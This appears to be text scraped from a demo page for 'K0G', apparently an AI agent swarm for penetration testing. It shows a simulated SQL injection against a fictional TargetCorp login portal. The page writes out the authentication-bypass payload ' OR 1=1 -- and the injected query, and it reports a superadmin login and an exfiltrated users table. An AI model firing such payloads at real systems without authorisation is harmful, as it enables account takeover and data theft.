K0G

This interactive room is built for a bigger screen. Watch the recorded run instead, or come back on desktop.

/ DEMO ROOM 01

SQL INJECTION authentication bypass · unsanitized input

STANDBY 00:00.0

K0G AGENT SWARMidle

0vectors

0payloads fired

0forms probed

TARGETunsanitized · no WAF

http://shop.targetcorp.internal/login ⚠ http

TargetCorp Admin Portal

last query SELECT * FROM users WHERE username = '' AND password = '' 0 rows

idusernameemailrolepassword_hash

ATTACK LOG—

CRITICAL SEVERITY · CVSS 9.8

VULNERABILITY DISCOVERED

SQL INJECTION → FULL AUTHENTICATION BYPASS

payload ' OR 1=1 --

query SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '…'

result 5 rows returned · logged in as superadmin · users table exfiltrated

PROOF OF EXPLOIT CAPTURED K0G · keep zero gaps